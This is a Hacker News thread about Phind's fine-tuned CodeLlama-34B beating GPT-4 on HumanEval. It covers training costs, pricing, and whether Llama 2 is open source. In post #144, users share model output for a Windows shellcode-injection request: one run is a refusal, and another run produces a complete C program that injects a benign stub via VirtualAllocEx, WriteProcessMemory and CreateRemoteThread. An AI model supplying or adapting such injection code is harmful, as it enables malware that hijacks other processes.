Live data from Hacker News

Beating GPT-4 on HumanEval with a fine-tuned CodeLlama-34B

phind.com

141–150 of 306 posts

Re: Beating GPT-4 on HumanEval with a fine-tuned CodeLlama-34B

#141

Earlier quoted context omitted.

Nice! I suppose that Pascal is not on your planned list of supported languages, right?

Why would it? Do you know how much it costs to finetune one of these models for such a niche language? I'm not just talking about the cost of training, but also the cost of acquiring data because there's much less data about niche languages.

96 x A100 hours for a finetune according to the article.

The cost of the dataset curation for a given language is hard to quantify as there are many unknowns. However, it seems perfectly crowdsourcable to volunteers.

Re: Beating GPT-4 on HumanEval with a fine-tuned CodeLlama-34B

#143
post #48

Earlier quoted context omitted.

(Chat)GPT-4s practical coding abilities are now 100x because it can code, run the code, and reason about its performance mid-response. They must be using fine tunes for this so the overall model could well be better too

You can do that as well, under your complete control. That's a framework they put around the model.

"model" is end-to-end, input-to-output, inclusive of the entire framework and it's guardrails and everything else

if they are able to detect hallucinations, filter them out and automatically re-run, that's a huge improvement in result, even though core model didn't get new training

Re: Beating GPT-4 on HumanEval with a fine-tuned CodeLlama-34B

#144

my first time trying llm (i.e. I have no idea what I am doing).. this lesson in ethics took whooping 10 minutes to generate :)) ./ollama run phind-codellama "write c code to inject shellcode into remote process for windows" Sorry, but it is not possible to provide the C code here due to several reasons. Firstly, writing C code for shellcode injection involves complex programming and knowledge of system-level programm…

Hey, how are you running this? I just saw someone tweet this and linked here.

I ran it, and my result: (I don't know if this code would work)

ollama run phind-codellama --verbose "write c code to inject shellcode into remote process for windows"

For injecting shellcode in a remote process under Windows, you might need to use WinAPI functions such as OpenProcess, WriteProcessMemory, and CreateRemoteThread. However, due to the complex nature of the task and the security implications, it's important to note that this is not advisable without proper knowledge and caution. Here's a simple example of how you might inject shellcode using C:

```c #include #include

int main() { LPVOID ShellCode = (LPVOID) "\x90\x90\xC3"; // Example shell code HANDLE hProcess; DWORD dwPid, dwThreadId; SIZE_T size; CONTEXT ctx;

    dwPid = GetCurrentProcessId();  // You can change this to the PID of any running process
    
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
 
    if (hProcess == NULL) {
        printf("Failed to open process\n");
        return -1;
    }
 
 
    size = strlen((char*)ShellCode);  // Calculate shellcode length
 
    LPVOID RemoteMemory = VirtualAllocEx(hProcess, NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);  // Allocate memory in the remote process for our shellcode
 
    if (RemoteMemory == NULL) {
        printf("Failed to allocate remote memory\n");
        return -1;
    }
 
 
    BOOL bWrite = WriteProcessMemory(hProcess, RemoteMemory, ShellCode, size, NULL);  // Write shellcode to the allocated memory in the remote process
 
    if (bWrite == FALSE) {
        printf("Failed to write shellcode into the remote process\n");
        return -1;
    }
    
 
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, RemoteMemory, NULL, &dwThreadId);  // Create a new thread in the remote process that will execute our shellcode
 
    if (hThread == NULL) {
        printf("Failed to create remote thread\n");
        return -1;
    }
    
    WaitForSingleObject(hThread, INFINITE);  // Wait for the execution of the remote thread
 
    CloseHandle(hProcess);
    CloseHandle(hThread);
 
    printf("Successfully injected shellcode into a remote process\n");
    
    return 0;
} ```

This code injects an example shellcode "\x90\x90\xC3" (which is nop, nop, ret) into the current process. It then executes this shellcode in a new thread.

Re: Beating GPT-4 on HumanEval with a fine-tuned CodeLlama-34B

#146
post #89

Earlier quoted context omitted.

This looks like it might be neat but it has a pretty sparse intro page and then the email signup goes straight into stripe checkout - is there any more info about the service anywhere? Like which models are available, or more pricing info?

Thanks for the feedback, we'll improve the landing page! The models (and current prices) right now are - Llama-2-7B ($0.25 / million tokens) - Llama-2-13B ($0.50 / million tokens) - Llama-2-70B ($1 / million tokens) - Code Llama ($1 / million tokens)

Awesome, thanks! I've been wanting exactly this service.

Re: Beating GPT-4 on HumanEval with a fine-tuned CodeLlama-34B

#147
post #134

Super impressive. Being able to beat a mega closed source model with an open source LLM and some fine tuning really calls into question the financial viability of these big proprietary LLMs. OpenSource models have been creeping up various leaderboards for months and it was only a matter of time until we see more and more examples like this. Excellent work.

Let's not call it open source. Even Llama2 doesn't think that Llama2 is open source: https://imgur.com/AZFOzWk

Re: Beating GPT-4 on HumanEval with a fine-tuned CodeLlama-34B

#148

Why is FB doing this. I am so perplexed. Like, I am still waiting for the "gotcha!". Purely to mess with MS?

They're in the business of encouraging users to post content to get more eyeballs and therefore more ad revenue. So commoditising a way of generating a lot more content is in their interests.

This. I recall in their earnings report, they gave a similar answer, I.e the more this technology is made accessible, the better the content put on social media becomes. They also pointed out that any improvements made can be incorporated into their stack like what happened with open compute and PyTorch.

Re: Beating GPT-4 on HumanEval with a fine-tuned CodeLlama-34B

#149
post #134

Super impressive. Being able to beat a mega closed source model with an open source LLM and some fine tuning really calls into question the financial viability of these big proprietary LLMs. OpenSource models have been creeping up various leaderboards for months and it was only a matter of time until we see more and more examples like this. Excellent work.

Let's not call it open source. Even Llama2 doesn't think that Llama2 is open source: https://imgur.com/AZFOzWk

Is this really the line we want to draw in the sand? It’s not open source because it can’t be trivially used by AWS and Google? It feels like the popularism is the point, not the complete lack of restrictions.

Re: Beating GPT-4 on HumanEval with a fine-tuned CodeLlama-34B

#150

Earlier quoted context omitted.

Let's not call it open source. Even Llama2 doesn't think that Llama2 is open source: https://imgur.com/AZFOzWk

Is this really the line we want to draw in the sand? It’s not open source because it can’t be trivially used by AWS and Google? It feels like the popularism is the point, not the complete lack of restrictions.

Well if we are talking about the point of open source, then really, the lack of restrictions is the point. Some commercial entities wish to redefine the term because it benefits their marketing, but is that the line we want to draw in the sand?
Post reply on HN